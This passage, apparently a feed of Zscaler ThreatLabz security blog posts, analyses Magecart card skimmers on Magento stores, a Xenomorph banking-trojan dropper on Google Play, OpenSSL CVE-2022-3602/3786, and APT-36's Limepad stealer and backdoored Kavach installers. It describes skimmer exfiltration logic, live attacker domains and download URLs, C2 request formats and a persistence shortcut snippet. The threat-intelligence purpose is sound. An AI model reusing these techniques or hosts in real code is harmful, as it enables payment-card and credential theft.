'cvc_key': cvv } The method used to collect the payment card information is customized according to the targeted e-commerce store. Below are a few examples. Stripe payment Code searches for the following elementIDs in the web page to locate the card number, expiry date, and cvv code if Stripe payment processor is being used. stripe-payments-card-numbers stripe-payments-card-expirys stripe-payments-card-cvcs Moneris payment In cases where e-commerce stores in Canada were compromised, the skimmer code searched for Moneris payment information. Moneris is a popular Canada-based payment processing company and often used as a payment gateway on Canada-based Magento e-commerce stores. Figure 2 shows the relevant skimmer code searching for Moneris payment info Figure 2: Group 1 skimmer code Variant 2 This second variant of the CC skimmer code was obfuscated and hosted at the URL: artmodecssdev[.]art/js/av/analytics-google-c82qllg46bw1g23ed2775c5fr9fa.js Most of the functionality is similar to the first variant with some enhancements included. Key functionalities 1. Searches for the string: "/checkout/" in the URL to ensure the user is at the checkout page 2. Searches for the string: "f04bf6162ed8779acc1205ac37f8fc4a" in the cookie. If it is not found, then it indicates the user is a new victim. 3. Once both the above conditions are satisfied, the skimmer is activated. 4. Navigates the HTML DOM to locate the shipping and item related information about the order. 5. Uses the HTML DOM to locate the payment card information related to Moneris 6. Exfiltrates the information using the pixtar() function which creates an image tag and sets the source to the exfiltration URL: artmodecssdev[.]art/secure/av/secure.php. After exfiltration, it sets the cookie "f04bf6162ed8779acc1205ac37f8fc4a" to the uuid. This uuid is generated by the script client-side. Figure 3 shows the data exfiltration function. Figure 3: Group 1 skimmer code exfiltrating stolen information Group 2 In May 2022, a new domain - payment-analytics[.]info was registered and used in a skimming attack against several Magento and PrestaShop-based e-commerce stores. Interestingly, this domain was hosted on the IP address: 45.61.136[.]218 which is in the same subnet as (an IP address previously used by Lazarus APT group). We do not have sufficient information at this point to do any attribution for this campaign. Figure 4 shows the JavaScript skimming code for Magento e-commerce store. Figure 4: Group 2 CC skimmer The skimming code itself is straightforward. It captures the credit card information by searching for HTML fields corresponding to the payment processor used by the targeted store (in this case - Authorize.Net). The collected information is exfiltrated by sending an HTTP POST request to payment-analytics[.]info/validate/<random_id> Key functionalities 1. Adds an event listener for the click event on "place order" button by locating the HTML button element with id and class: "#co-payment-form button.action.checkout.primary". Figure 5 shows the corresponding elements on the checkout page. Figure 5: Relevant elements tracked by the skimmer on the checkout page 2. Fetches the payment card information using document.querySelector() depending on the payment processor used by the targeted store 3. Sends a GET request to the REST API endpoint: "/rest/default/V1/guest-carts/" to retrieve value of "billing_address" member which corresponds to shipping information entered by the victim 4. Extracts key info from billing_address, appends it to the payment card information and sends it to the attacker's server using an HTTP POST request. Group 3 In July 2022, we observed a threat actor actively compromising Magento-based e-commerce stores and injecting script tags pointing to the skimmer code hosted on attacker-registered domains. Each skimmer code snippet was customized with the name of the targeted store and the type of payment processor used. There is very limited information available about it in the public domain here. Based on Zscaler cloud telemetry, we were able to identify several previously undocumented domains used in this skimming campaign and the associated infrastructure. Figure 6 shows that most of the domains used in this campaign are still undetected on VirusTotal which explains the long shelf life of this campaign. Figure 6: Group 3 related skimmer domains undetected on VirusTotal In this campaign, we observed two variants. The first variant was straightforward and not obfuscated. At a later stage of the campaign in October 2022, we observed an obfuscated version of the skimmer hosted on a domain controlled by the same threat actor. Key functionalities We will briefly describe each of these skimmers' functionalities. Variant 1 Unlike the other skimmers discussed in this blog so far, this specific variant did not check whether the user is on the payment checkout page. It used the HTML DOM to locate the HTML fields corresponding to payment card information. The specific values it searches to locate the information would depend on the type of payment processor used by the targeted store. This information was concatenated along with the user's details, base64-encoded and exfiltrated to the attacker's server. The exfiltration URI path remained consistent across all the skimmers in this campaign. URI path: "redirect-non-site.php?datasend=" Figure 7 shows the skimmer code. Figure 7: Group 3 skimmer code Variant 2 The only difference between this variant and variant 1 is obfuscation. We saw new activity from this threat actor in October 2022 when they started using an obfuscated version of the skimmer. Group 4 In November 2022, we observed a threat actor injecting highly obfuscated variants of JavaScript skimmer in existing legitimate jQuery libraries on various Magento-based e-commerce stores. We noticed 2 unique domains used for exfiltration of the payment card information. Both of these domains still have 0 detections on VirusTotal and the e-commerce stores are still infected at the time of publishing this blog as well. Figure 8: Group 4 related skimmer domains undetected on VirusTotal As is evident from the domain names, they impersonate as content delivery networks (CDNs) in order to blend in with legitimate traffic and this makes them even more difficult to detect at network layer. For the purpose of technical analysis, we will take an example of an obfuscated JS skimmer which was injected in the path: /skin/frontend/alobencher/default/js/lib/elevatezoom/jquery.elevateZoom-3.0.8.min.js on a compromised store as shown in Figure 9. Figure 9: Skimmer code injected in a legitimate jQuery library on the e-commerce store When the user navigates to the checkout page on the compromised e-commerce store to purchase the goods, the malicious JavaScript skimmer function - _0x54d008() is invoked as soon as the user enters and submits the payment card information. Figure 10 illustrates this. Figure 10: Event listener in injected skimmer code corresponding to payment submission form Key functionalities of the skimmer are described below. 1. The skimmer locates the payment button using the pattern "*[onclick*=\"\"]" and adds an event listener for the click event. 2. The exfiltration function is invoked as soon as the above button is clicked. 3. Unlike the skimmers discussed earlier, in this case, it extracts all the input fields using: jQuery("body input, body select, body option"). This way the skimmer can access all the input, select and option fields on the web page. 4. All this collected information is base64-encoded and stored in the variable - payment[string] to send to the exfiltration URL using an HTTP POST request. 5. The exfiltration URL in this case is: cdn-common[.]com/default/loading.gif Figure 11 shows the state of key variables in the _0x54d008() function at the time of exfiltration. Figure 11: CC skimmer in action Zscaler detection status Zscaler’s multilayered cloud security platform detects indicators at various levels, as seen here: JS.POS.Magecart Conclusion Users are advised to exercise caution while shopping online during this holiday season as threat actors are actively targeting e-commerce stores for financial data theft. We advise the users to pay close attention to any unauthorised payments made using their payment card and get in touch immediately with their respective payment card or banking authorities in case they notice unrecognized transactions. If you are an e-commerce store owner, we advise you to ensure that you are running the latest version of e-commerce software (Magento, Presta Shop, etc.). Also, to confirm whether your store has already been infected or not, e-commerce store owners are advised to scan their server for any unrecognised new files or modifications to existing files. The Zscaler ThreatLabz team will continue to monitor such skimming attacks proactively, to help keep our customers safe. Indicators of Compromise Group 1 Domains modersecure[.]com artmodecssdev[.]art Injected JS URLs modersecure[.]com/sources.200x/google-analytics.js modersecure[.]com/sources.155x/analytics.js artmodecssdev[.]art/js/av/analytics-google-c82qllg46bw1g23ed2775c5fr9fa.js Exfil URLs modersecure[.]com/sources.200x/analytic.php artmodecssdev[.]art/secure/av/secure.php Group 2 Domains payment-analytics[.]info Injected JS URL payment-analytics[.]info/assets/domains/62ae9da17edb100b96c9df7b/analytics.js Exfil URL payment-analytics[.]info/validate/62b3bb447edb100b96c9e6c5 Group 3 mozillajs[.]biz devjs[.]biz html5decode[.]com magento-cloud[.]net mozillajs[.]net java-cloud[.]net magento-cloud[.]com java-cloud[.]org magento-cloud[.]org html5decode[.]biz java-cloud[.]biz magento-cloud[.]biz html5decode[.]net mozillajs[.]org html5decode[.]org Group 4 Domains cdn-webcloud[.]com cdn-common[.]com cdn-webhub[.]com cdn-fonts[.]com cdn-mediacloud[.]com Exfil URLs cdn-webcloud[.]com/default/loading.gif cdn-common[.]com/default/loading.gif Mon, 21 11月 2022 15:58:50 -0800 Sudeep Singh Rise of Banking Trojan Dropper in Google Play The Zscaler ThreatLabz team has recently discovered the Xenomorph banking trojan embedded in a Lifestyle app in the Google Play store. The app is “Todo: Day manager,” and has over 1,000 downloads. This is the latest in a disturbing string of hidden malware in the Google Play store: in the last 3 months, ThreatLabz has reported over 50+ apps resulting in 500k+ downloads, embedding such malware families as Joker, Harly, Coper, and Adfraud. Fig no 1.Malware Installer From Play Store Xenomorph is a trojan that steals credentials from banking applications on users’ devices. It is also capable of intercepting users’ SMS messages and notifications, enabling it to steal one-time passwords and multifactor authentication requests. Our analysis found that the Xenomorph banking malware is dropped from GitHub as a fake Google Service application upon installation of the app. It starts with asking users to enable access permission. Once provided, it adds itself as a device admin and prevents users from disabling Device Admin, making it uninstallable from the phone. Xenomorph creates an overlay onto legit banking applications to trick users into entering their credentials. A similar infection cycle was observed three months ago with the Coper banking trojan. This trojan was similarly embedded in apps on the Google Play store, and sourced its malware payload from the Github repo. Technical Details Below is the Xenomorph infection cycle once a user downloads an app and opens it. Fig no 2.Flow of infection When the app is first opened, it reaches out to a Firebase server to get the stage/banking malware payload URL. It then downloads the malicious Xenomorph banking trojan samples from Github. This banking malware later reaches out to the command-and-control (C2) servers decoded either via Telegram page content or from a static code routine to request further commands, extending the infection. The parent malware downloader (Google Play Store) application gets its config from Firebase for its database. Fig no 3. Malware enables downloader. Fig no 4. Downloader not enabled. As shown in the above screen shot, the malware will only download further banking payloads if the “Enabled” parameter is set to true. The following screenshot shows how the Firebase database malware uses Github links to download Xenomorph payloads: Fig no 5. The malware writes dropper URLs in local DB of firebase The screenshots in Figures 6 and 7 below show the C2 retrieval from a Telegram page. Here the banking payload has the Telegram page link encoded with RC4 encryption. Upon execution, the banking payload will reach out to the Telegram page and download the content hosted on that page. Fig no 6.Uses Telegram link response to create C2 in addition to static encrypted C2 present in app Fig no 7. Telegram channel preview where string in between hearts emoji is used to create C2 As per the following screenshot, the payload will decrypt the C2 server address from the downloaded content: Fig no 8. Decode C2 from Telegram ThreatLabz also observed RC4 encoded C2 domains stored inside the code. The following screenshot shows the C2 request in which the payload sends all the installed applications to C2 in order to receive further instructions. In one case, it will present the fake login page of a targeted banking application if the legitimate application is installed in the infected device. Fig no 9. Malware uploading all package information to receive commands ThreatLabz also observed another application, named “経費キーパー” (Expense Keeper), exhibiting similar behavior. On execution of this application, it is observed that the “Enabled parameter” is set to false, same as the execution previously shown in Figure 4. Due to that, it was not possible to retrieve the Dropper URL for the banking payload. ThreatLabz is working with the Google Security team for the same. Fig no 10. Suspicious Installer exhibiting the same behavior IoCs com.todo.daymanager d81f9c03c412b11df357f0878c9c5cad9319c7eea11b5c46d0c624995bc09563 com.setprice.expenses 58d634230951ee7699a4b4740e12be8e93a28bd183f61447832bd1d5d98160d8 Xenomorph banking trojan Package Name MD5 njuknf.cpvmqe.degjia b8b8706807a97c40940109a93058c3d0 ylyove.pkmcsy.upvpta 98ea3fe61fde0c053dfac61977a11488 ylykau.jhfxjd.hlhhwl df57895cfc79ee8812aac5756ab4bcc8 lkvrny.bbslie.mrgsdy 73511ef7bb9d59b3d91dbeef5f93eec0 gkapsv.nlitfn.fzteaf f0b001dbe36f45cedcb15e3f9fc02fd7 binono.bgcwvl.iupqtk 8437e226e55ba6dea9a168bee5787b0d cfbyzn.zhxxjj.sziece 8f66412e945ca9a75797d5f5eba9765c gfgnfe.rcsjkm.abwxdj 6a117cafa32a680dc94f455745291f0f usyjui.monkab.acacpn cb9500f910bd655df444f7d43d0298f9 gnvbgm.ipblyp.bpnyrg d95c03247a58d3fabb476a7f3241f3a1 xsgrsn.nicojr.uaqxws cd63afae858fdf75f34aae05e36b8a34 xhlkae.ligagt.dmihjy c5d510251a34f52427d133a6f9248cbf qlvsvm.oqsncp.otgbxc 781bbaee614697beecfcbe9a2f9dd820 rxreyj.obxmlg.rjluib 49c4801abb6c92d17c8021c2f656c644 brpdxm.orolnd.jsxhrp 1829589d95bdd2c30f0bef154decd426 wwzaqw.eejyqr.czrldy e834676cdbd63ce4eb613499605dc365 ogbfbt.rhrnua.kccuoh 9e498ba660bdcb279149e6a5986c2793 lnckvn.vlmjxx.uwcpub 4b2e849543b0ecaec1885170a5ef5243 vjqfyn.ygmzrs.trlvch 7e4f1deb5b21d47a7c41ef1a5f43a2f2 blglyu.rjqwgg.vveize 7f574986dc8a03e6a4cba60d1ac4f7d1 C2s hxxps[://]github[.]com/blsmcamp/updt gogoanalytics[.]click gogoanalytics[.]digital Conclusion At Zscaler we proactively detect and monitor such applications to secure our clients. Such bank phishing installers most of the time rely on tricking users to install malicious applications. Users are advised to keep an eye on what application is being installed. A Play Store application is not supposed to side load or ask users to install from unknown sources. We believe hostile phishing downloaders will further increase in prevalence in the future. User vigilance is of the utmost importance to defeat these phishing campaigns. Thu, 10 11月 2022 08:00:01 -0800 Himanshu Sharma Security Advisory for OpenSSL Vulnerabilities CVE-2022-3602 & CVE-2022-3786 Background On 01-Nov-2022, OpenSSL published an advisory about two high-severity security flaws - CVE-2022-3786 (“X.509 Email Address Variable Length Buffer Overflow”) and CVE-2022-3602 (“X.509 Email Address 4-byte Buffer Overflow”). These vulnerabilities affect OpenSSL version 3.0.0 and later and have been addressed in OpenSSL 3.0.7. What is the issue? The following vulnerability details were published in the OpenSSL security advisory earlier today: CVE-2022-3786 A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. This occurs after certificate chain signature verification and requires either a CA to have signed a malicious certificate or for an application to continue certificate verification despite failure to construct a path to a trusted issuer. An attacker can craft a malicious email address in a certificate to overflow an arbitrary number of bytes containing the `.' character (decimal 46) on the stack. This buffer overflow could result in a crash (causing a denial of service). In a TLS client, this can be triggered by connecting to a malicious server. In a TLS server, this can be triggered if the server requests client authentication and a malicious client connects. CVE-2022-3602 A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. This occurs after certificate chain signature verification and requires either a CA to have signed the malicious certificate or for the application to continue certificate verification despite failure to construct a path to a trusted issuer. An attacker can craft a malicious email address to overflow four attacker-controlled bytes on the stack. This buffer overflow could result in a crash (causing a denial of service) or potentially remote code execution. Many platforms implement stack overflow protections which would mitigate against the risk of remote code execution. The risk may be further mitigated based on stack layout for any given platform/compiler. Pre-announcements of CVE-2022-3602 described this issue as CRITICAL. Further analysis based on some of the mitigating factors described above have led this to be downgraded to HIGH. Users are still encouraged to upgrade to a new version as soon as possible. In a TLS client, this can be triggered by connecting to a malicious server. In a TLS server, this can be triggered if the server requests client authentication and a malicious client connects. What versions are impacted? OpenSSL versions 3.0.0 to 3.0.6 are impacted by these vulnerabilities. Any OpenSSL 3.0 application that verifies X.509 certificates received from untrusted sources should be considered vulnerable. This includes TLS clients, and TLS servers that are configured to use TLS client authentication. OpenSSL 1.0.2, 1.1.1 and other earlier versions are not affected. What can you do to protect yourself? Users of OpenSSL 3.0.0 - 3.0.6 are encouraged to upgrade to 3.0.7 as soon as possible. If you obtain your copy of OpenSSL from your Operating System vendor or other third-party then you should request an updated version from them as soon as possible. Users operating TLS servers may want to consider disabling TLS client authentication until fixes are applied. We had also published a blog with steps you can perform to protect your organization. Zscaler Cloud is not impacted We have completed our review and published a trust post to notify our customers that Zscaler cloud components are not impacted by this vulnerability. One of the key benefits of adopting a cloud-native SSE platform, in contrast with legacy NGFW appliances or virtual machines, is that Zscaler takes away from the end customers the operational overhead of patching software across a sprawl of legacy hardware appliances and virtual machines. A nice illustration of this benefit was also seen earlier this year when it took us just a few days to patch against the March 2022 CVE-2022-0778 OpenSSL Vulnerability. How Zscaler protects users from this vulnerability As of now, there are no known in-the-wild exploit attempts reported for these vulnerabilities, but security researchers have published a successful exploitation POC. ThreatLabz is actively monitoring and will ensure coverage against threat activity targeting end-users protected by Zscaler. Even though this issue can potentially impact both TLS clients and TLS servers, the likelihood of a client exploiting a server using a malicious client TLS certificate is much lower, given that mTLS (mutual TLS in which a server authenticates a client as well) is not widely used. Zscaler’s proxy based architecture and SSL inspection service are well positioned to defend against exploitation attempts targeting end users through maliciously crafted server certificates. As a trusted man-in-the-middle (MITM), Zscaler scans and validates all server certificates, centrally in the cloud as if Zscaler is the client browser for the destination TLS server, and issues a new server certificate signed by Zscaler’s or a customer’s issuing CA, essentially preventing the bad cert from ever getting to the end-user. As long as customers have enabled SSL/TLS inspection, Zscaler will defend against the threat as illustrated below: 1. Attacker hosts a malicious site serving the specially crafted X.509 certificate triggering the OpenSSL vulnerability. 2. End-user is tricked to access the malicious site via Zscaler with TLS inspection enabled. 3. If the server name has a bad reputation, Zscaler will immediately drop the connection. 4. Otherwise, Zscaler will terminate the TLS handshake request from the client and initiate its own handshake with the destination server. 5. Zscaler validates the certificate sent by the server after the ServerHello. Since Zscaler is not vulnerable to the OpenSSL vulnerability issue, Zscaler’s infrastructure itself is safe. 6. Zscaler generates a domain certificate and sends it to the end-user. Since Zscaler issues only properly crafted X509 certificates, the exploit attempt is effectively neutralized. The malicious certificate will never make its way to the end-user. Figure 1: Zscaler TLS inspection preventing OpenSSL vulnerability exploit attempt Check out our recent blog post to learn more about how SSL inspection works and the key responsibilities assumed as an SSL proxy. How Zscaler helps organizations secure workloads impacted by this vulnerability For workloads, Zscaler Posture Control allows organizations to scan all of your AWS, Azure, and GCP environments to help identify and prioritize the assets that require attention. Out of our customers, 12% found immediate results and discovered that they have workloads vulnerable to these issues. Most of the vulnerable workloads were found specifically in public-facing assets. References Tue, 01 11月 2022 13:08:10 -0700 Jithin Nair APT-36 Uses New TTPs and New Tools to Target Indian Governmental Organizations Summary APT-36 (also known as Transparent Tribe) is an advanced persistent threat group attributed to Pakistan that primarily targets users working at Indian government organizations. Zscaler ThreatLabz has been closely monitoring the activities of this group throughout 2022. Our tracking efforts have yielded new intelligence about this APT group that has not previously been documented. In this blog, we will describe how this group abuses Google advertisements for the purpose of malvertising to distribute backdoored versions of Kavach multi-authentication (MFA) applications. We will shed light on the complete details of the attack chain that have not been previously shared in the public domain. This threat group has also conducted very low-volume credential harvesting attacks masquerading as official Indian government websites, and luring unsuspecting users to enter their credentials. We will also describe the functionalities of a completely new data exfiltration tool that we have discovered being used by the APT-36 group. We've dubbed this tool "Limepad." Key points APT-36 group is a Pakistan-based advanced persistent threat group which has specifically targeted employees of Indian government related organizations. This group has remained active throughout 2022 using various techniques such as malvertising, and credential phishing attacks. APT-36 has evolved their tactics, techniques and procedures (TTPs) incorporating new distribution methods and new tools. The threat actor registered multiple new domains hosting web pages masquerading as the official Kavach app download portal. They abused the Google Ads paid search feature to push the malicious domains to the top of Google search results for users in India. Beginning August 2022, the group started using a new data exfiltration tool which we have named Limepad. This tool was previously undocumented. While most binaries used by APT-36 in this campaign will execute only if the user’s machine is configured with India time zone (IST), we also found 2 binaries using the same code base which included a time zone check for both - India and Sri Lanka. Since both India and Sri Lanka have the same time zone, we consider this check redundant. Credential harvesting attacks were used to spoof the National Informatics Center’s Kavach login page with the goal of stealing credentials of government employees. Several instances involved malicious binaries compiled using PyInstaller and sent packaged inside VHDX archives. Attack flow Figure 1 illustrates the end-to-end attack-chain of the distribution of backdoored Kavach multi-factor authentication (MFA) applications. Each part of this attack-chain is explained in more details in the later sections of the blog. Figure 1: Malvertising campaign used to distribute backdoored Kavach MFA apps Distribution mechanism Malvertising The malvertising aspect of APT-36 group has not been previously documented, so in this blog we will shed some light on how the threat actor lures Indian government users to download backdoored Kavach multi-factor authentication (MFA) applications. The threat actor routinely registered new domains and hosted web pages impersonating as the official Kavach application download portal. It then abused Google Ads’ paid search feature, to push malicious attacker-registered fake websites to the top of the search results returned by Google for Kavach-related keywords such as “Kavach download” and “Kavach app,” when searched from India. Several of these fake Kavach websites were promoted this way throughout 2022. On average, the attacker promoted each website for a period of one month before cycling to the next one. Figure 2 shows a calendar highlighting different times at which the threat actor was abusing Google ads to promote corresponding malicious sites Figure 2: Calendar showing when the Google ads were run by APT-36 The complete list of malicious websites impersonating the Kavach portal are listed in the IOCs section. Figure 3 and 4 show two examples of how the malicious search result ads looked like at the time they were live. Figure 3: Google advertisement to promote kavach-app[.]com Figure 4: Google advertisement to promote kavach-app[.]in Figure 5 shows a web page impersonating the Kavach application download portal. The threat actor leveraged Wordpress to host these webpages and the theme remained consistent across all the malicious pages. Figure 5: Attacker-registered site masquerading as Kavach app download portal Third party application stores In addition to this, we also discovered that this threat group controls certain third party application stores which offer downloads for various applications. One such example is the acmarketsapp[.]com store. While at first this site seems benign and appears to offer downloads for generic applications only, we noticed that the threat actor added a few posts to download Indian government related applications such as Kavach and Hamraaz. Upon closer inspection and monitoring this website over a period of time, we uncovered the following new TTPs. Updating download links This app store is used as a gateway to redirect the users to attacker-registered domains hosting the backdoored versions of Kavach application. Each time the threat actor registered a new malicious website, they would update the download link on the app store to point to the latest attacker-registered site. To understand this better, we took snapshot of this website at different points of time in 2022. By leveraging the web archive feature, it can be seen in Figure 6 that in May 2022, the download link for Kavach on this app store pointed to kavach-app[.]com (which is a confirmed attacker-registered domain used in the campaign). Figure 6: Snapshot of malicious link on acmarketsapp[.]com in May 2022 A few months later in October 2022, the threat actor updated the link to point to another malicious site (kavachauthentication.blogspot[.]com) as shown in Figure 7. Figure 7: Snapshot of malicious link on acmarketsapp[.]com in October 2022 Malvertising The app store - acmarketsapp[.]com itself is pushed to the top in Google search results for certain search keywords from India by abusing the Google Ads paid search feature as described earlier. By combining these techniques, it allows APT-36 to operate these third party app stores as a gateway to redirect unsuspecting users to their malicious sites hosting the latest backdoored variants of Indian government applications. Technical analysis A new data exfiltration tool - LimePad We recently identified a new and previously undocumented data exfiltration tool used by this APT group. It is distributed as a Python-based application packaged inside a VHDX file. Based on the unique strings present in the first iteration of this stealer, we have named it LimePad. In this blog, we are sharing some of the key functionalities of this new tool. A more in-depth technical analysis write up of this tool will be published by us as a follow-up blog since we are still investigating their activities. Similar to some of the other malicious binaries used by the SideCopy APT group in the past, this new tool is a PyInstaller-based payload as well. We found 2 unique examples of the new tool in-the-wild, both of which were distributed inside very large VHDX files with size greater than 60 MB, each. The main purpose of this new tool is to constantly upload any new file of interest from the victim's machine to the attacker's server. It synchronizes this file stealing operation between the victim's machine and the attacker's server by maintaining a local custom SQLite database. This database holds the latest records of all the files which are uploaded, in queue or newly modified. It is done to ensure that any new files or modifications to existing local files are synced up with the remote server. Time zone check Before starting any malicious activity, it checks whether the keyword "india" is present in the timezone config of the machine. Due to this, the payload will execute only on machines configured in India time zone. Once it confirms that the user is located in India, it will download a decoy PDF from the attacker’s server which is displayed to the victim as a social engineering lure. We analyzed the objects in the decoy PDF file to recover the metadata corresponding to generation of the PDF and we uncovered a key indicator which further helped us correlate this activity to APT-36 with a high-confidence. Figure 8 shows the metadata which indicates that this PDF was created with the author name: “Apolo Jones” and Microsoft Word 2016 was used to generate the PDF. Figure 8: metadata of the decoy PDF file This is the same string present in the PDB path of multiple backdoored variants of Kavach application used by APT-36 in 2022. One such example is the backdoored Kavach binary with MD5 hash: 6b552512c1b6479d8a8ae526663af864 PDB path: C:\Users\Apolo Jones\source\repos\Kavach\obj\Release\Kavach.pdb Key functionalities and configuration of Limepad This data exfiltration tool is modular and contains many custom Python libraries developed by the attacker to assist the main functionality of LimePad. There is also a config file called "control" which is used by LimePad for its settings. The complete config file is available in the Appendix. Below we give a brief overview of the config fields which can help understand the features and functionalities of this stealer at a high-level. VERSION field is configured as "0.1-18". This indicates that the tool is in very early stages of development by the threat actor. USERFILE defines the name of the local SQLite database which is used to keep track of the file sync operations. In the first version of this tool, it was configured as "Limepad.db" due to which we have named this tool as "Limepad" The fields, STARTDATA, LOCKDOORS, and DOORS are used to create a Windows URL Shortcut file which is used for the purpose of persistence. This URL shortcut file is placed in the Windows Startup directory with the name: "Limepad.dll" and it points to the local file path of the malicious payload as shown below. [InternetShortcut] URL=file:///<path_to_malicious_binary> A similar persistence mechanism was used by another tool in SideCopy APT's arsenal in 2021. SERVERS field is used to configure an array of attacker-controlled C2 servers. In both the identified samples, only one C2 server was configured each time. However, the code has support for multiple C2 servers and will cycle through them until it finds a working C2 server. DUSSEN field contains a hex-encoded version of the string - "india". This is what is used for the India time zone check in the main subroutine of Limepad before starting any malicious activity. The fields - DBTABLES, DBTABLES_INDEXES and SYNC_RULES_CONFIG all correspond to the structure and configuration of the tables in the local SQLite database. Figure 9 shows the structure of the local SQLite database used for synchronizing files between infected machine and server. Figure 9: Structure of the local SQLite database Figure 10 shows an example of contents of the SQLite database on an infected VM. Figure 10: Contents of a database from an infected VM It is important to note that "SYNC_RULES_CONFIG" contains a set of rules which defines which files the attacker is interested in stealing. It has a different set of file extensions configured for HOME, FIXED and REMOVABLE drives. Based on the configured file extensions, it is evident that the threat actor is interested in stealing documents (PDF, text and MS Office files), email local databases (DBX format) and various drawing file extensions such as DWG and DXF. These drawing file extensions correspond to "AutoCAD" or computer-aided design vector files. Network communication Below are the main steps in network communication of LimePad. It is important to note that in all cases, the user-agent used in network communication corresponds to the Python application. In this case - "Python-urllib/2.7". This might change in future since the attacker can configure a custom user-agent to blend in with legit browser communication. Also, in each request to the server, an HTTP request header field called "Auth_Token" will be present. This is used to authenticate with the C2 server. This value is the same as the password which is also sent in the HTTP request. This 32 characters password is generated by base64-encoding the random value generated by os.random() using the following code. password = base64.urlsafe_b64encode(os.urandom(30))[:32] Figure 11 below shows the sequence of network requests sent by the data exfiltration tool. Figure 11: network traffic from the data exfiltration tool Below is a brief description of the different stages of network requests. Server check Sends a GET request to the file bind.php on the server. Once the server responds with "pong!", it indicates the configured server is working well. Registration of infected machine with the server Sends a POST request to the file "information.php" on the server with the credentials used to register the infected machine. The username and password are sent as both - HTTP POST request body and HTTP request headers. "Username" and "Auth_Token" fields in request headers correspond to the username and password respectively. POST body format is: USERNAME=<username>&PASSWORD=<password> This is followed by a GET request to "information.php" to confirm user registration. Uploading files to the server Each file upload request is in the form of HTTP POST request to the file "adjustfile.php" on the server. The local file path is included in the URL. The contents of the file are uploaded in plaintext. Miscellaneous threat intel As we indicated earlier, we are still investigating this case. We obtained the list of all the infected machines registered with the attacker’s server. Figure 12 below shows a preview of the latest information. By looking at the usernames of the infected machines, it further confirmed to us that only the users in India were infected. Figure 12: List of infected machines registered with the attacker’s server Kavach payload analysis As mentioned above in the distribution mechanism section, this threat actor uses various malvertising methods to lure unsuspecting Indian government employees to download a backdoored version of the Kavach multi-factor authentication (MFA) application. For the purpose of technical analysis we will consider the fake installer with the MD5 hash: faeb19cd668de953afd6f2c953251665 Stage-1: Fake Installer The fake installer is a .NET binary which masquerades as a legit Kavach application installer and uses fake metadata information. Moreover, the binary uses an icon related to the National Informatics Center(NIC) which is an Indian government department under the Ministry of Electronics and Information Technology. On execution, the binary performs following operations: 1. Performs the time zone check and executes further only if the time zone matches Indian Standard Time (IST). 2. Extracts and drops the legit Kavach installer in the path "C:\ProgramData\Kavach-Auth\". The installer is extracted from the resource section of the binary. 3. Downloads and drops the Stage-2 payload from the URL "http://139.59.79[.]86/hardwell.mp3" in the path "C:\ProgramData\Kavach-Auth\hardwell.mp3" 4. Executes the dropped legit Kavach installer 5. Moves the dropped Stage-2 payload to the path "C:\ProgramData\Kavach-Auth\archiveviewer.scr" 6. Executes the dropped Stage-2 payload Stage-2: PyInstaller compiled binary The Stage-2 payload is a Python script compiled to an executable using PyInstaller. For analysis we extracted the Python script which we have included in the Appendix section. The script on execution does following major operations: 1. Creates the directory "c:\programdata\WUDFHost" 2. Creates a log file in the path "c:\programdata\WUDFHost\logs.txt" which is updated according to the operations performed during further execution. 3. Performs the time zone check. 4. Downloads, drops and executes the next stage payload. For the next stage payload, if the path "C:\Windows\Microsoft.NET\Framework\v4.0.30319" exists, then the payload is downloaded from the URL "http://139.59.79[.]86/" in the path "c:\programdata\" else it is downloaded from the URL "http://139.59.79[.]86/" in the path "c:\programdata\" The downloaded payload which is a ZIP file is extracted to path “c:\programdata\WUDFHost”. For the payload analyzed, the archive contained three components: 1. Executable (WUDFAgent.exe) - The loader binary 2. DLL (oraclenotepad45.dll) - Main backdoor 3. DLL (dotsqueeze.dll) - Helper DLL Stage-3: Loader The Stage-2 Python script executes the loader binary. The loader pretends to be a POS application which on execution does following operations: 1. Creates a log file in the path "c:\\programdata\\WUDFHost\\process.txt" 2. Loads the assembly from the path "c:\\programdata\\WUDFHost\\oraclenotepad45.dll" 3. Creates a fake file in the path "c:\\\\programdata\\\\Expense_Account_Hierarchy.csv" and writes fake information to it. The information written is extracted from the resource section. 4. Pass the execution control to the loaded assembly Stage-4: Backdoor The assembly loaded by the loader is the main backdoor of the infection chain. Similar to Python script. We will not cover the full technical analysis for the backdoor payload since it's already covered in some public blog posts but in brief, it contains following functionalities: 1. Taking snapshots 2. Downloading new payloads and executing them 3. Creating persistence 4. Exfiltrating user and system information 5. Exfiltrating file and directory information The backdoor also uses a helper DLL where the malware author has delegated functionalities like file download from network, writing file to disk, creating new processes. Credential harvesting attack One of the key targets of APT-36 is the Indian government and it targets the government users with various Kavach related themes including credential harvesting attacks. These credentials can further be re-used by the threat actor to gain access to government related infrastructure. A domain with the name nic-updates[.]in was registered on 25th August 2022 and it impersonated the official login page of NIC (National Informatics Center). This domain redirected to the malicious login page only when accessed from an Indian IP address, else it redirected to the legitimate official domain of NIC - Figure 13 shows the credential phishing page. Figure 13: Credential phishing page impersonating as Kavach NIC It is important to note that the phishing URL was well-crafted as it mimicked the full URL path of the legit Kavach NIC login page. Fake login page URL: hxxps://kavach.mail.nic-updates[.]in/mfid/secureLogin_showSecureLogin.action#! Legit login page URL: hxxps://[.]in/mfid/secureLogin_showSecureLogin.action#! The phishing page sent the stolen credentials using an HTTP POST request to a file - error.php hosted on the attacker’s server. The attacker’s server was using Zimbra and it even had an open directory hosted at the URL: hxxps://kavach.mail.nic-updates[.]in/mfid/secureLogin_showSecureLogin.action/web/ Figure 14 shows the contents of the open directory. Figure 14: Open directory on the server hosting the Kavach phishing page The image file - kavach.jpg in the above open directory stood out based on the file creation date. We pivoted on this image file’s hash, and observed that the same image was also referenced from kavach-app[.]com (a domain which we previously attributed to APT-36 group). We also identified another phishing site (kavachmail-govin.rf[.]gd) used by this group using the same theme and code base. Zscaler detection status Zscaler’s multilayered cloud security platform detects indicators at various levels, as seen here: Win32.Payload.Limepad Win64.Payload.Limepad Win32.Downloader.CrimsonRat Win32.Backdoor.SideCopy HTML.Phish.TransparentTribe Conclusion APT-36 continues to be one of the most prevalent advanced persistent threat groups focused on targeting users working in Indian governmental organizations. As described in this blog, they leverage various tactics to lure the victims. This group has continued evolving its tactics, techniques and procedures (TTPs) while adding new tools to the arsenal. Applications used internally at the Indian government organisations are a popular choice of social engineering theme used by APT-36 groups. Users should exercise caution while downloading applications and always ensure to download the applications only from official sources. Since APT-36 leverages malvertising to hijack the Google search results, we advise the users to be extra careful when 